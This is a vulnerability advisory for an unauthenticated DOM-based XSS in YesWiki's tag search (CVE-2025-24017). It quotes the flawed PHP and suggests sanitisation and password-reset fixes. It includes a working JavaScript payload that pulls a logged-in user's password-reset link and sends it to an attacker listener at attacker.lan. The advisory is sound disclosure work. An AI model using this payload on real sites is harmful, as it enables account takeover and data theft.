CVE-2025-24017: YesWiki Vulnerable to Unauthenticated DOM Based XSS

Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

Summary It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.

This Proof of Concept has been performed using the followings: - YesWiki v4.4.5 (doryphore-dev branch, latest) - Docker environnment (docker/docker-compose.yml) - Docker v27.5.0 - Default installation

Details The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.

This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:

php $output .= '<div class="alert alert-info">' . "\n"; if ($nbtotal > 1) { $output .= t('TAGSTOTALNBPAGES', ['nbtotal' => $nbtotal]); } elseif ($nbtotal == 1) { $output .= t('TAGSONEPAGEFOUND'); } else { $output .= t('TAGSNOPAGE'); } $output .= (!empty($tabselectedtags) ? ' ' . t('TAGSWITHKEYWORD') . ' ' . implode(' ' . t('TAGSWITHKEYWORDSEPARATOR') . ' ', arraymap(function ($tagName) { return '<span class="tag-label label label-info">' . $tagName . '</span>'; }, $tabselectedtags)) : '') . '.'; $output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n"; $output .= '</div>' . "\n" . $text;

echo $this->Header(); echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hrclear\" />\n</div>\n"; echo $this->Footer();

The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.

PoC 1. Simple XSS Abusing the tags parameter, we can successfully obtain client side javascript execution:

!poc1

2. Full account takeover scenario By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

javascript fetch('/?ParametresUtilisateur') .then(response => { return response.text(); }) .then(htmlString => { const parser = new DOMParser(); const doc = parser.parseFromString(htmlString, 'text/html'); const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href))); })

Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.

!poc2 !poc3 !poc4

Impact This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures - Sanitize properly the tag names when created here

php foreach ($tags as $tag) { trim($tag); if ($tag != '') { if (!$this->tripleStore->exist($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', '')) { $this->tripleStore->create($page, 'http://outils-reseaux.org/vocabulary/tag', htmlspecialchars($tag), '', ''); } //on supprime ce tag du tableau des tags restants a effacer if (isset($tagsrestantsaeffacer)) { unset($tagsrestantsaeffacer[arraysearch($tag, $tagsrestantsaeffacer)]); } } }

- Sanitize the tag names when looked for here

php //$tags = (isset($GET['tags'])) ? $GET['tags'] : ''; $tags = (isset($GET['tags'])) ? htmlspecialchars($GET['tags']) : '';

- Implement a stronger password reset mechanism through: + Not showing a password reset link to an already logged-in user. + Generating a password reset link when a reset is requested by a user, and only send it by mail. + Add an expiration/due date to the token

- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce) The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.